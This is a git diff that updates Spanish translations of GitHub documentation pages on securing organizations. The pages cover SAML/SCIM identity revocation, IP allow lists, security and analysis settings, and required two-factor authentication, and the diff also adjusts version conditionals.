-When available, the entry will include SCIM data. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+Cuando esté disponible, la entrada incluirá datos de SCIM. Para obtener más información, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
 {% warning %}
 
-**Warning:** For organizations using SCIM:
-- Revoking a linked user identity on {% data variables.product.product_name %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity.
-- An admin must revoke a linked identity through the identity provider.
-- To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.product_name %} application. For more information, see your identity provider's documentation.
+**Advertencia:** Para las orgtanizaciones que utilizan SCIM:
+- El revocar una identidad de usuario en {% data variables.product.product_name %} también eliminará los metadatos de SAML y de SCIM. Como resultado, el proveedor de identidad no podrá sincronizar o desaprovisionar la identidad de usuario enlazada.
+- Un administrador deberá revocar una identidad enlazada a través del proveedor de identidad.
+- Para revocar una identidad enlazada y enlazar una cuenta diferente a través del proveedor de identidad, un administrador puede eliminar y volver a asignar el usuario con la aplicación de {% data variables.product.product_name %}. Para obtener más información, consulta la documentación de tu proveedor de identidad.
 
 {% endwarning %}
 
@@ -47,7 +47,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-sso-identity %}
 {% data reusables.saml.confirm-revoke-identity %}
 
-## Viewing and revoking an active SAML session
+## Visualizar y revocar una sesión activa de SAML
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -57,7 +57,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.view-saml-sessions %}
 {% data reusables.saml.revoke-saml-session %}
 
-## Viewing and revoking authorized credentials
+## Visualizar y revocar credenciales autorizadas
 
 {% data reusables.saml.about-authorized-credentials %}
 
@@ -70,7 +70,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-authorized-credentials %}
 {% data reusables.saml.confirm-revoke-credentials %}
 
-## Further reading
+## Leer más
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %}
-- "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
+- "[Acerca de la administración de acceso e identidad con el inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %}
+- "[Visualizar y administrar el acceso de SAML de un usuario en tu cuenta empresarial](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
diff --git a/translations/es-ES/content/organizations/index.md b/translations/es-ES/content/organizations/index.md
index 6cb7a68d70..f303694962 100644
--- a/translations/es-ES/content/organizations/index.md
+++ b/translations/es-ES/content/organizations/index.md
@@ -3,7 +3,7 @@ title: Organizaciones y equipos
 shortTitle: Organizaciones
 intro: 'Colaborar en muchos proyectos mientras se administra el acceso a proyectos y datos, y se personalizan las configuraciones para tu organización.'
 redirect_from:
-  - /articles/about-improved-organization-permissions/
+  - /articles/about-improved-organization-permissions
   - /categories/setting-up-and-managing-organizations-and-teams
   - /github/setting-up-and-managing-organizations-and-teams
 versions:
diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/index.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/index.md
index 9a2071f8ea..cb2fd4b3b9 100644
--- a/translations/es-ES/content/organizations/keeping-your-organization-secure/index.md
+++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/index.md
@@ -2,7 +2,7 @@
 title: Mantener segura tu organización
 intro: 'Los propietarios de la organización tienen varias funciones que los ayudan a mantener seguros los proyectos y los datos. Si eres el propietario de una organización, deberás revisar frecuentemente las bitácoras de auditoría de la misma{% ifversion not ghae %}, los estados de 2FA de los miembros,{% endif %} y la configuración de las aplicaciones para garantizar que no haya ocurrido ningún tipo de actividad maliciosa o no autorizada.'
 redirect_from:
-  - /articles/preventing-unauthorized-access-to-organization-information/
+  - /articles/preventing-unauthorized-access-to-organization-information
   - /articles/keeping-your-organization-secure
   - /github/setting-up-and-managing-organizations-and-teams/keeping-your-organization-secure
 versions:
diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
index 4fc8425724..20678e2258 100644
--- a/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
+++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing allowed IP addresses for your organization
-intro: You can restrict access to your organization's assets by configuring a list of IP addresses that are allowed to connect.
+title: Administrar las direcciones IP permitidas en tu organización
+intro: Puedes restringir el acceso a los activos de tu organización si configuras una lista de direcciones IP que se pueden conectar a ella.
 product: '{% data reusables.gated-features.allowed-ip-addresses %}'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization
@@ -11,24 +11,24 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage allowed IP addresses
+shortTitle: Administrar las direcciones IP permitidas
 ---
 
-Organization owners can manage allowed IP addresses for an organization.
+Los propietarios de las organizaciones pueden administrar las direcciones IP permitidas en las mismas.
 
-## About allowed IP addresses
+## Acerca de las direcciones IP permitidas
 
-You can restrict access to organization assets by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+Puedes restringir el acceso a los activos de la organización configurando un listado de direcciones IP específicas permitidas. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-enable %}
 
-If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see "[Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)."
+Si configuras una lista de direcciones permitidas, también puedes elegir agregar automáticamente a ella cualquier dirección IP que hayas configurado para las {% data variables.product.prodname_github_apps %} que instales en tu organización. El creador de una {% data variables.product.prodname_github_app %} puede configurar una lista de direcciones permitidas para su aplicación, las cuales especifiquen las direcciones IP en las cuales se ejecuta esta. Al heredar la lista de direcciones permitidas en la tuya, estás evitando las solicitudes de conexión de la aplicación que se está rehusando. Para obtener más información, consulta la sección "[Permitir el acceso mediante {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)".
 
-You can also configure allowed IP addresses for the organizations in an enterprise account. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+También puedes configurar las direcciones IP permitidas para las organizaciones en una cuenta empresarial. Para obtener más información, consulta la sección "[Requerir políticas para la configuración de seguridad en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)".
 
-## Adding an allowed IP address
+## Agregar una dirección IP permitida
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -37,33 +37,31 @@ You can also configure allowed IP addresses for the organizations in an enterpri
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Enabling allowed IP addresses
+## Habilitar direcciones IP permitidas
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
-1. Click **Save**.
+1. En "IP allow list" (Lista de permisos de IP), seleccione **Enable IP allow list** (Habilitar lista de permisos de IP). ![Realizar una marca de verificación para permitir direcciones IP](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
+1. Haz clic en **Save ** (guardar).
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## Permitir el acceso mediante {% data variables.product.prodname_github_apps %}
 
-If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. 
+Si estás utilizando una lista de direcciones permitidas, también puedes elegir agregar automáticamente a ella cualquier dirección IP que hayas configurado para las {% data variables.product.prodname_github_apps %} que instales en tu organización.
 
 {% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %}
 
 {% data reusables.apps.ip-allow-list-only-apps %}
 
-For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)."
+Para obtener más información sobre cómo crear una lista de direcciones permitidas para una {% data variables.product.prodname_github_app %} que hayas creado, consulta la sección "[Administrar las direcciones IP permitidas para una GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**.
-  ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
-1. Click **Save**.
+1. Debajo de "Lista de direcciones IP permitidas", selecciona **Habilitar la configuración de la lista de direcciones IP permitidas para las GitHub Apps instaladas**. ![Casilla de verificación para permitir las direcciones IP de las GitHub Apps](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
+1. Haz clic en **Save ** (guardar).
 
-## Editing an allowed IP address
+## Editar una dirección IP permitida
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -71,9 +69,9 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-1. Click **Update**.
+1. Da clic en **Actualizar**.
 
-## Deleting an allowed IP address
+## Eliminar una dirección IP permitida
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -81,6 +79,6 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## Utilizar {% data variables.product.prodname_actions %} con un listado de direcciones IP permitidas
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
index 89c5918d0c..3053a0a101 100644
--- a/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
+++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
@@ -18,7 +18,7 @@ shortTitle: Manage security & analysis
 
 ## About management of security and analysis settings
 
-{% data variables.product.prodname_dotcom %} can help secure the repositories in your organization. You can manage the security and analysis features for all existing or new repositories that members create in your organization. {% ifversion fpt or ghec %}If you have a license for {% data variables.product.prodname_GH_advanced_security %} then you can also manage access to these features. {% data reusables.advanced-security.more-info-ghas %}{% endif %}
+{% data variables.product.prodname_dotcom %} can help secure the repositories in your organization. You can manage the security and analysis features for all existing or new repositories that members create in your organization. {% ifversion ghec %}If you have a license for {% data variables.product.prodname_GH_advanced_security %} then you can also manage access to these features. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can also manage access to these features. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %}
 
 {% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
@@ -31,7 +31,7 @@ shortTitle: Manage security & analysis
 
 The page that's displayed allows you to enable or disable all security and analysis features for the repositories in your organization.
 
-{% ifversion fpt or ghec %}If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+{% ifversion ghec %}If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
 
 {% ifversion ghes > 3.0 %}If you have a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
 
@@ -39,20 +39,28 @@ The page that's displayed allows you to enable or disable all security and analy
 
 ## Enabling or disabling a feature for all existing repositories
 
-You can enable or disable features for all repositories. {% ifversion fpt or ghec %}The impact of your changes on repositories in your organization is determined by their visibility:
+You can enable or disable features for all repositories. 
+{% ifversion fpt or ghec %}The impact of your changes on repositories in your organization is determined by their visibility:
 
 - **Dependency graph** - Your changes affect only private repositories because the feature is always enabled for public repositories.
 - **{% data variables.product.prodname_dependabot_alerts %}** - Your changes affect all repositories.
 - **{% data variables.product.prodname_dependabot_security_updates %}** - Your changes affect all repositories.
+{%- ifversion ghec %}
 - **{% data variables.product.prodname_GH_advanced_security %}** - Your changes affect only private repositories because {% data variables.product.prodname_GH_advanced_security %} and the related features are always enabled for public repositories.
-- **{% data variables.product.prodname_secret_scanning_caps %}** - Your changes affect only private repositories where {% data variables.product.prodname_GH_advanced_security %} is also enabled. {% data variables.product.prodname_secret_scanning_caps %} is always enabled for public repositories.{% endif %}
+- **{% data variables.product.prodname_secret_scanning_caps %}** - Your changes affect only private repositories where {% data variables.product.prodname_GH_advanced_security %} is also enabled. {% data variables.product.prodname_secret_scanning_caps %} is always enabled for public repositories.
+{% endif %}
+
+{% endif %}
 
 {% data reusables.advanced-security.note-org-enable-uses-seats %}
 
 1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-2. Under "Configure security and analysis features", to the right of the feature, click **Disable all** or **Enable all**. {% ifversion fpt or ghes > 3.0 or ghec %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if you have no available seats in your {% data variables.product.prodname_GH_advanced_security %} license.{% endif %}
-   {% ifversion fpt or ghec %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-dotcom.png)
+2. Under "Configure security and analysis features", to the right of the feature, click **Disable all** or **Enable all**. {% ifversion ghes > 3.0 or ghec %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if you have no available seats in your {% data variables.product.prodname_GH_advanced_security %} license.{% endif %}
+   {% ifversion fpt %}
+   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png)
+   {% endif %}
+   {% ifversion ghec %}
+   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png)
    {% endif %}
    {% ifversion ghes > 3.2 %}
    !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
@@ -95,10 +103,13 @@ You can enable or disable features for all repositories. {% ifversion fpt or ghe
 
 1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
 2. Under "Configure security and analysis features", to the right of the feature, enable or disable the feature by default for new repositories{% ifversion fpt or ghec %}, or all new private repositories,{% endif %} in your organization.
-   {% ifversion fpt or ghec %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-dotcom.png)
+   {% ifversion fpt %}
+   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-fpt.png)
    {% endif %}
-   {% ifversion ghes > 3.2 %}
+   {% ifversion ghec %}
+   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-ghec.png)
+   {% endif %}
+  {% ifversion ghes > 3.2 %}
    ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
    {% endif %}
    {% ifversion ghes = 3.1 or ghes = 3.2 %}
@@ -111,7 +122,8 @@ You can enable or disable features for all repositories. {% ifversion fpt or ghe
    ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png)
    {% endif %}
 
-{% ifversion fpt or ghec or ghes > 3.2 %}
+{% ifversion ghec or ghes > 3.2 %}
+<!--TODO confirm that this functionality is intentionally not available for FPT -->
 
 ## Allowing {% data variables.product.prodname_dependabot %} to access private dependencies
 
@@ -134,7 +146,7 @@ To allow {% data variables.product.prodname_dependabot %} to access a private {%
    !["X" button to remove a repository](/assets/images/help/organizations/dependabot-private-repository-list.png)
 {% endif %}
 
-{% ifversion fpt or ghes > 3.0 or ghec %}
+{% ifversion ghes > 3.0 or ghec %}
 
 ## Removing access to {% data variables.product.prodname_GH_advanced_security %} from individual repositories in an organization
 
@@ -157,8 +169,8 @@ You can manage access to {% data variables.product.prodname_GH_advanced_security
 
 ## Further reading
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
-- "[About secret scanning](/github/administering-a-repository/about-secret-scanning)"{% ifversion fpt or ghec %}
-- "[Keeping your dependencies updated automatically](/github/administering-a-repository/keeping-your-dependencies-updated-automatically)"{% endif %}{% ifversion not ghae %}
+- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not fpt %}
+- "[About secret scanning](/github/administering-a-repository/about-secret-scanning)"{% endif %}{% ifversion not ghae %}
 - "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
-- "[Managing vulnerabilities in your project's dependencies](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"{% endif %}
+- "[Managing vulnerabilities in your project's dependencies](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %}
+- "[Keeping your dependencies updated automatically](/github/administering-a-repository/keeping-your-dependencies-updated-automatically)"{% endif %}
diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md
index 24691a59e2..003ff6f159 100644
--- a/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md
+++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Requiring two-factor authentication in your organization
-intro: 'Organization owners can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to enable two-factor authentication for their personal accounts, making it harder for malicious actors to access an organization''s repositories and settings.'
+title: Solicitar autenticación de dos factores en tu organización
+intro: 'Los propietarios de la organización pueden requerir que los {% ifversion fpt or ghec %}miembros de la organización, colaboradores externos y gerentes de facturación{% else %}miembros de la organización y colaboradores externos{% endif %} habiliten la autenticación de dos factores para sus cuentas personales, lo que hace que sea más complicado para los actores maliciosos acceder a los repositorios y parámetros de una organización.'
 redirect_from:
   - /articles/requiring-two-factor-authentication-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization
@@ -11,38 +11,38 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Require 2FA in organization
+shortTitle: Requerir 2FA en la organización
 ---
 
-## About two-factor authentication for organizations
+## Acerca de la autenticación bifactorial para las organizaciones
 
-{% data reusables.two_fa.about-2fa %} You can require all {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} in your organization to enable two-factor authentication on {% data variables.product.product_name %}. For more information about two-factor authentication, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+{% data reusables.two_fa.about-2fa %} Puedes requerir que todos los {% ifversion fpt or ghec %}miembros, colaboradores externos y gerentes de facturación{% else %}miembros y colaboradores externos{% endif %} en tu organización habiliten la autenticación bifactorial en {% data variables.product.product_name %}. Para obtener más información acerca de la autenticación bifactorial, consulta la sección "[Asegurar tu cuenta con la autenticación bifactorial (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)".
 
 {% ifversion fpt or ghec %}
 
-You can also require two-factor authentication for organizations in an enterprise. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+También puedes requerir autenticación bifactorial para las organizaciones en una empresa. Para obtener más información, consulta la sección "[Requerir políticas para la configuración de seguridad en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)".
 
 {% endif %}
 
 {% warning %}
 
-**Warnings:**
+**Advertencias:**
 
-- When you require use of two-factor authentication for your organization, {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can [reinstate their access privileges and settings](/articles/reinstating-a-former-member-of-your-organization) if they enable two-factor authentication for their personal account within three months of their removal from your organization.
-- If an organization owner, member,{% ifversion fpt or ghec %} billing manager,{% endif %} or outside collaborator disables 2FA for their personal account after you've enabled required two-factor authentication, they will automatically be removed from the organization.
-- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization.
+- Cuando requieres el uso de autenticación de dos factores para tu organización, los {% ifversion fpt or ghec %}miembros, colaboradores externos y gerentes de facturación{% else %}miembros y colaboradores externos{% endif %} (incluidas las cuentas de bot) que no utilicen la 2FA se eliminarán de la organización y perderán el acceso a sus repositorios. También perderán acceso a las bifurcaciones de sus repositorios privados de la organización. Puedes [reinstalar sus privilegios y parámetros de acceso](/articles/reinstating-a-former-member-of-your-organization) si habilitan la autenticación de dos factores para su cuenta personal en el transcurso de los tres meses posteriores a la eliminación desde tu organización.
+- Si un propietario de la organización, miembro,{% ifversion fpt or ghec %} gerente de facturación{% endif %} o colaborador externo inhabilita la 2FA para su cuenta personal después de que hayas habilitado la autenticación de dos factores requerida, se lo eliminará automáticamente de la organización.
+- Si eres el único propietario de una organización que requiere autenticación de dos factores, no podrás inhabilitar la 2FA de tu cuenta personal sin inhabilitar la autenticación de dos factores para la organización.
 
 {% endwarning %}
 
 {% data reusables.two_fa.auth_methods_2fa %}
 
-## Prerequisites
+## Prerrequisitos
 
-Before you can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to use two-factor authentication, you must enable two-factor authentication for your account on {% data variables.product.product_name %}. For more information, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+Antes de que requieras que los {% ifversion fpt or ghec %}miembros de la organización, colaboradores externos y gerentes de facturación{% else %}miembros de la organización y colaboradores externos{% endif %} utilicen la autenticación bifactorial, debes habilitarla para tu cuenta en {% data variables.product.product_name %}. Para obtener más información, consulta "[Proteger tu cuenta con la autenticación de dos factores (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)".
 
-Before you require use of two-factor authentication, we recommend notifying {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} and asking them to set up 2FA for their accounts. You can see if members and outside collaborators already use 2FA. For more information, see "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)."
+Antes de que requieras el uso de autenticación de dos factores, recomendamos que se lo notifiques a los {% ifversion fpt or ghec %}miembros de la organización, colaboradores externos y gerentes de facturación{% else %}miembros de la organización y colaboradores externos{% endif %} y les solicites que configuren la 2FA para sus cuentas. Puedes ver si los miembros y colaboradores externos ya utilizan la 2FA. Para obtener más información, consulta "[Ver si los usuarios en tu organización tienen la 2FA habilitada](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)".
 
-## Requiring two-factor authentication in your organization
+## Solicitar autenticación de dos factores en tu organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -50,32 +50,32 @@ Before you require use of two-factor authentication, we recommend notifying {% i
 {% data reusables.organizations.require_two_factor_authentication %}
 {% data reusables.organizations.removed_outside_collaborators %}
 {% ifversion fpt or ghec %}
-8. If any members or outside collaborators are removed from the organization, we recommend sending them an invitation that can reinstate their former privileges and access to your organization. They must enable two-factor authentication before they can accept your invitation.
+8. Si algún miembro o colaborador externo se elimina de tu organización, te recomendamos enviarle una invitación para reinstalar sus privilegios antiguos y el acceso a tu organización. Deben habilitar la autenticación de dos factores para poder aceptar la invitación.
 {% endif %}
 
-## Viewing people who were removed from your organization
+## Ver las personas que se eliminaron de tu organización
 
-To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search your organization's audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) for people removed from your organization. The audit log event will show if a person was removed for 2FA non-compliance.
+Para ver las personas que se eliminaron automáticamente de tu organización por no cumplir cuando les requeriste la autenticación de dos factores, puedes [buscar el registro de auditoría de tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) para las personas eliminadas de tu organización. El evento de registro de auditoría mostrará si se eliminó a una persona por no cumplir con la 2FA.
 
-![Audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png)
+![Evento de registro de auditoría que muestra un usuario eliminado por no cumplir con la 2FA](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png)
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.audit_log.audit_log_sidebar_for_org_admins %}
-4. Enter your search query. To search for:
-    - Organization members removed, use `action:org.remove_member` in your search query
-    - Outside collaborators removed, use `action:org.remove_outside_collaborator` in your search query{% ifversion fpt or ghec %}
-    - Billing managers removed, use `action:org.remove_billing_manager`in your search query{% endif %}
+4. Ingresa tu consulta de búsqueda. Para buscar por:
+    - Miembros de la organización eliminados, utiliza `action:org.remove_member` en tu consulta de búsqueda
+    - Colaboradores externos eliminados, utiliza `action:org.remove_outside_collaborator` en tu consulta de búsqueda{% ifversion fpt or ghec %}
+    - Gerentes de facturación eliminados, utiliza `action:org.remove_billing_manager`en tu consulta de búsqueda{% endif %}
 
- You can also view people who were removed from your organization by using a [time frame](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) in your search.
+ También puedes ver las personas que se eliminaron de tu organización utilizando un [período de tiempo](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) en tu búsqueda.
 
-## Helping removed members and outside collaborators rejoin your organization
+## Ayudar a que los miembros y colaboradores externos eliminados se vuelvan a unir a tu organización
 
-If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization.
+Si algún miembro o colaborador externo se eliminó de la organización cuando habilitaste el uso requerido de autenticación de dos factores, recibirá un correo electrónico que le notifique que ha sido eliminado. Debe entonces habilitar la 2FA para su cuenta personal y contactarse con un propietario de la organización para solicitar acceso a tu organización.
 
-## Further reading
+## Leer más
 
-- "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)"
-- "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)"
-- "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)"
-- "[Reinstating a former outside collaborator's access to your organization](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)"
+- "[Ver si los usuarios de tu organización tienen la 2FA habilitada](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)"
+- "[Proteger tu cuenta con autenticación de dos factores (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)"
+- "[Reinstalar un miembro antiguo de tu organización](/articles/reinstating-a-former-member-of-your-organization)"
+- "[Reinstalar el acceso a tu organización de un colaborador externo antiguo](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)"
diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
index 65657e2c0a..4364795abb 100644
